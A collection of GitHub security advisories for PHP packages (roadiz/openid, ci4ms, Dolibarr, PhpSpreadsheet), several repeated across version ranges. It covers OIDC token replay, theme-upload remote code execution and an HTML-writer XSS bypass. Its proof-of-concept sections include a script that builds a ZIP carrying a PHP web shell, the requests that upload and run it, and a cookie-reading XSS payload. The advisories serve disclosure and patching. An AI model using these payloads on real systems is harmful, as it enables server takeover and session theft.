deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-3gx8-q682-38mx
Package: roadiz/openid (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: >= 2.5.0, < 2.5.45
Patched in: 2.5.45

Summary: OpenID Connect nonce generated but never validated — ID token replay attack

Details:
### Summary
The `roadiz/openid` package generates an OIDC nonce in `OAuth2LinkGenerator::generate()` and includes it in the authorization request sent to the identity provider, but **never stores it** and **never validates it** on the callback. The `OpenIdJwtConfigurationFactory` validation chain does not include a nonce constraint, and `OpenIdAuthenticator::authenticate()` never checks the nonce claim in the returned ID token against a stored value.

### Details
In `src/OAuth2LinkGenerator.php`, a nonce is created and sent to the IdP:
```php
'nonce' => $this->tokenGenerator->generateToken(),
```
However, this value is neither stored in session, cache, nor any other persistent store.

In `src/OpenIdJwtConfigurationFactory.php`, the JWT validation constraints are:
- `LooseValidAt` (expiry)
- `PermittedFor` (audience)
- `IssuedBy` (issuer)
- `HostedDomain` (optional)
- `UserInfoEndpoint` (optional)

**No nonce constraint is present.**

In `src/Authentication/OpenIdAuthenticator.php`, the `authenticate()` method validates the state CSRF token correctly (fixed in v2.7.10), but never retrieves a stored nonce or compares it against the `nonce` claim in the ID token.

### PoC
1. Obtain a valid ID token from a legitimate OIDC flow for a target user (e.g. via network interception, browser history leak, or referrer header exposure on a non-HTTPS redirect).
2. Replay the ID token: Since the nonce in the token is never cross-checked against a client-stored value, the token passes all validation constraints as long as it has not expired.
3. Result: An attacker can authenticate as the victim within the ID token's validity window.

Additionally, in an authorization code flow with multiple concurrent sessions, a malicious IdP or a compromised token endpoint could inject a token with a mismatched nonce, and the application would accept it silently.

### Impact
- **ID token replay attacks**: Valid but intercepted tokens can be reused for authentication within their validity period.
- **Token injection attacks**: A malicious or compromised identity provider can inject tokens across sessions without detection.
- Affects any Roadiz application using the `roadiz/openid` package with OpenID Connect SSO.

The OIDC Core 1.0 specification (Section 3.1.3.7) explicitly requires clients to verify the `nonce` claim if it was present in the authorization request.
GitHub Security Advisory: GHSA-3gx8-q682-38mx
Package: roadiz/openid (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: >= 2.6.0, < 2.6.31
Patched in: 2.6.31

Summary: OpenID Connect nonce generated but never validated — ID token replay attack

Details:
### Summary
The `roadiz/openid` package generates an OIDC nonce in `OAuth2LinkGenerator::generate()` and includes it in the authorization request sent to the identity provider, but **never stores it** and **never validates it** on the callback. The `OpenIdJwtConfigurationFactory` validation chain does not include a nonce constraint, and `OpenIdAuthenticator::authenticate()` never checks the nonce claim in the returned ID token against a stored value.

### Details
In `src/OAuth2LinkGenerator.php`, a nonce is created and sent to the IdP:
```php
'nonce' => $this->tokenGenerator->generateToken(),
```
However, this value is neither stored in session, cache, nor any other persistent store.

In `src/OpenIdJwtConfigurationFactory.php`, the JWT validation constraints are:
- `LooseValidAt` (expiry)
- `PermittedFor` (audience)
- `IssuedBy` (issuer)
- `HostedDomain` (optional)
- `UserInfoEndpoint` (optional)

**No nonce constraint is present.**

In `src/Authentication/OpenIdAuthenticator.php`, the `authenticate()` method validates the state CSRF token correctly (fixed in v2.7.10), but never retrieves a stored nonce or compares it against the `nonce` claim in the ID token.

### PoC
1. Obtain a valid ID token from a legitimate OIDC flow for a target user (e.g. via network interception, browser history leak, or referrer header exposure on a non-HTTPS redirect).
2. Replay the ID token: Since the nonce in the token is never cross-checked against a client-stored value, the token passes all validation constraints as long as it has not expired.
3. Result: An attacker can authenticate as the victim within the ID token's validity window.

Additionally, in an authorization code flow with multiple concurrent sessions, a malicious IdP or a compromised token endpoint could inject a token with a mismatched nonce, and the application would accept it silently.

### Impact
- **ID token replay attacks**: Valid but intercepted tokens can be reused for authentication within their validity period.
- **Token injection attacks**: A malicious or compromised identity provider can inject tokens across sessions without detection.
- Affects any Roadiz application using the `roadiz/openid` package with OpenID Connect SSO.

The OIDC Core 1.0 specification (Section 3.1.3.7) explicitly requires clients to verify the `nonce` claim if it was present in the authorization request.
GitHub Security Advisory: GHSA-3gx8-q682-38mx
Package: roadiz/openid (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: >= 2.7.0, < 2.7.18
Patched in: 2.7.18

Summary: OpenID Connect nonce generated but never validated — ID token replay attack

Details:
### Summary
The `roadiz/openid` package generates an OIDC nonce in `OAuth2LinkGenerator::generate()` and includes it in the authorization request sent to the identity provider, but **never stores it** and **never validates it** on the callback. The `OpenIdJwtConfigurationFactory` validation chain does not include a nonce constraint, and `OpenIdAuthenticator::authenticate()` never checks the nonce claim in the returned ID token against a stored value.

### Details
In `src/OAuth2LinkGenerator.php`, a nonce is created and sent to the IdP:
```php
'nonce' => $this->tokenGenerator->generateToken(),
```
However, this value is neither stored in session, cache, nor any other persistent store.

In `src/OpenIdJwtConfigurationFactory.php`, the JWT validation constraints are:
- `LooseValidAt` (expiry)
- `PermittedFor` (audience)
- `IssuedBy` (issuer)
- `HostedDomain` (optional)
- `UserInfoEndpoint` (optional)

**No nonce constraint is present.**

In `src/Authentication/OpenIdAuthenticator.php`, the `authenticate()` method validates the state CSRF token correctly (fixed in v2.7.10), but never retrieves a stored nonce or compares it against the `nonce` claim in the ID token.

### PoC
1. Obtain a valid ID token from a legitimate OIDC flow for a target user (e.g. via network interception, browser history leak, or referrer header exposure on a non-HTTPS redirect).
2. Replay the ID token: Since the nonce in the token is never cross-checked against a client-stored value, the token passes all validation constraints as long as it has not expired.
3. Result: An attacker can authenticate as the victim within the ID token's validity window.

Additionally, in an authorization code flow with multiple concurrent sessions, a malicious IdP or a compromised token endpoint could inject a token with a mismatched nonce, and the application would accept it silently.

### Impact
- **ID token replay attacks**: Valid but intercepted tokens can be reused for authentication within their validity period.
- **Token injection attacks**: A malicious or compromised identity provider can inject tokens across sessions without detection.
- Affects any Roadiz application using the `roadiz/openid` package with OpenID Connect SSO.

The OIDC Core 1.0 specification (Section 3.1.3.7) explicitly requires clients to verify the `nonce` claim if it was present in the authorization request.
GitHub Security Advisory: GHSA-fw49-9xq4-gmx6
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: >= 0.26.0.0, <= 0.31.6.0
Patched in: 0.31.7.0

Summary: CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution

Details:
### Summary
A theme upload feature allows any authenticated backend user with theme-upload permission to achieve remote code execution (RCE) by uploading a crafted ZIP file. PHP files inside the ZIP are installed into the web-accessible public/ directory with no extension or content filtering, making them directly executable via HTTP.


### Details
File: `modules/Theme/Controllers/Theme.php`

After a ZIP is uploaded and extracted to a temporary directory, install_theme_from_tmp() is called unconditionally: Theme.php:51-52

File: `modules/Theme/Helpers/themes_helper.php`

The helper copies every file matching *.* from `public/templates/<name>/` inside the ZIP directly into `public/templates/<name>/` on disk using rename(), with no file-extension allowlist, no MIME check, and no content inspection: `themes_helper.php:60-68`

Because the web root is `public/`, any `.php` file placed there is directly reachable over HTTP.

PHP files are also installed — without filtering — into app/Controllers/templates/<name>/, app/Libraries/templates/<name>/, and other app/ subdirectories: `themes_helper.php:31-42`

The theme name is derived from the uploaded filename via `str_replace('_theme.zip', '', $file->getName())`, so uploading `evil_theme.zip` sets the theme name to evil and the install target to `public/templates/evil/`: `Theme.php:20`

### PoC
Prerequisites: A backend account with theme upload permission (e.g., backend/themes/upload).

Step 1 — Build the malicious ZIP:
```
import zipfile, io  
  
buf = io.BytesIO()  
with zipfile.ZipFile(buf, 'w') as z:  
    z.writestr('public/templates/evil/shell.php', '<?php system($_GET["c"]); ?>')  
buf.seek(0)  
with open('evil_theme.zip', 'wb') as f:  
    f.write(buf.read())
```
Step 2 — Upload:
```
POST /backend/themes/upload  
Content-Type: multipart/form-data  
  
field name: theme  
file:       evil_theme.zip  
```
Step 3 — Execute:
```
GET https://target.com/templates/evil/shell.php?c=id  
```
Expected response: output of id (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).


### Impact
Type: Authenticated Remote Code Execution (RCE) via arbitrary file write to the web root.

Who is impacted: Any deployment where a backend user has been granted theme upload permission. A superadmin already has full access, but any lower-privileged role granted this permission can use it to write and execute arbitrary PHP on the server, gaining OS-level command execution under the web server process. This can be used for data exfiltration, lateral movement, persistence, or full server compromise.
GitHub Security Advisory: GHSA-j2g9-rprv-hrhc
Package: dolibarr/dolibarr (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 22.0.4
Patched in: unpatched

Summary: Dolibarr user with permission to edit PHP content can bypass filtering to restrict dangerous PHP functions

Details:
In the Website module of Dolibarr ERP & CRM 22.0.4 and below, the application uses blacklist-based filtering to restrict dangerous PHP functions related to system command execution. An authenticated user with permission to edit PHP content can bypass this filtering, resulting in full remote code execution with the ability to execute arbitrary operating system commands on the server.
GitHub Security Advisory: GHSA-hrmw-qprp-wgmc
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.30.3
Patched in: 1.30.4

Summary: PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Details:
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

## The Problem

In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:

```php
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}
```

When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.

Even a single trailing space in the format (`@ `) is enough to bypass the escape.

## Proof of Concept

```php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');
```

The generated HTML contains:
```html
<td>. <img src=x onerror=alert(document.cookie)></td>
```

The XSS payload is **completely unescaped**.

## Tested Bypass Formats

| Format Code | Result | Escaped? |
|---|---|---|
| `General` (default) | Original value | YES (safe) |
| `. @` | `. ` + value | **NO (XSS!)** |
| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |
| `x@` | `x` + value | **NO (XSS!)** |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

## Impact

Any application that:
1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.

## Suggested Fix

Always apply `htmlspecialchars()` regardless of whether formatting changed the value:

```php
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
```

Or escape AFTER formatting, not conditionally based on equality.

## Reporter
Keyvan Hardani
GitHub Security Advisory: GHSA-hrmw-qprp-wgmc
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.0.0, <= 2.1.15
Patched in: 2.1.16

Summary: PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Details:
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

## The Problem

In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:

```php
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}
```

When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.

Even a single trailing space in the format (`@ `) is enough to bypass the escape.

## Proof of Concept

```php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');
```

The generated HTML contains:
```html
<td>. <img src=x onerror=alert(document.cookie)></td>
```

The XSS payload is **completely unescaped**.

## Tested Bypass Formats

| Format Code | Result | Escaped? |
|---|---|---|
| `General` (default) | Original value | YES (safe) |
| `. @` | `. ` + value | **NO (XSS!)** |
| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |
| `x@` | `x` + value | **NO (XSS!)** |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

## Impact

Any application that:
1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.

## Suggested Fix

Always apply `htmlspecialchars()` regardless of whether formatting changed the value:

```php
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
```

Or escape AFTER formatting, not conditionally based on equality.

## Reporter
Keyvan Hardani
GitHub Security Advisory: GHSA-hrmw-qprp-wgmc
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.2.0, <= 2.4.4
Patched in: 2.4.5

Summary: PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Details:
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

## The Problem

In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:

```php
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}
```

When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.

Even a single trailing space in the format (`@ `) is enough to bypass the escape.

## Proof of Concept

```php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');
```

The generated HTML contains:
```html
<td>. <img src=x onerror=alert(document.cookie)></td>
```

The XSS payload is **completely unescaped**.

## Tested Bypass Formats

| Format Code | Result | Escaped? |
|---|---|---|
| `General` (default) | Original value | YES (safe) |
| `. @` | `. ` + value | **NO (XSS!)** |
| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |
| `x@` | `x` + value | **NO (XSS!)** |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

## Impact

Any application that:
1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.

## Suggested Fix

Always apply `htmlspecialchars()` regardless of whether formatting changed the value:

```php
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
```

Or escape AFTER formatting, not conditionally based on equality.

## Reporter
Keyvan Hardani
GitHub Security Advisory: GHSA-hrmw-qprp-wgmc
Package: phpoffice/phpspreadsheet (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 3.3.0, <= 3.10.4
Patched in: 3.10.5

Summary: PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer

Details:
It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.

## The Problem

In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:

```php
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}
```

When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.

Even a single trailing space in the format (`@ `) is enough to bypass the escape.

## Proof of Concept

```php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;

$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet->getActiveSheet();

// XSS payload with malicious number format
$sheet->setCellValueExplicit('A1', '<img src=x onerror=alert(document.cookie)>', DataType::TYPE_STRING);
$sheet->getStyle('A1')->getNumberFormat()->setFormatCode('. @');

$writer = new Html($spreadsheet);
$writer->save('output.html');
```

The generated HTML contains:
```html
<td>. <img src=x onerror=alert(document.cookie)></td>
```

The XSS payload is **completely unescaped**.

## Tested Bypass Formats

| Format Code | Result | Escaped? |
|---|---|---|
| `General` (default) | Original value | YES (safe) |
| `. @` | `. ` + value | **NO (XSS!)** |
| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |
| `x@` | `x` + value | **NO (XSS!)** |

This was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.

## Impact

Any application that:
1. Accepts uploaded XLSX files from users
2. Converts them to HTML using PhpSpreadsheet's HTML writer
3. Displays the HTML to other users

...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.

## Suggested Fix

Always apply `htmlspecialchars()` regardless of whether formatting changed the value:

```php
// Instead of conditional escaping:
$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
```

Or escape AFTER formatting, not conditionally based on equality.

## Reporter
Keyvan Hardani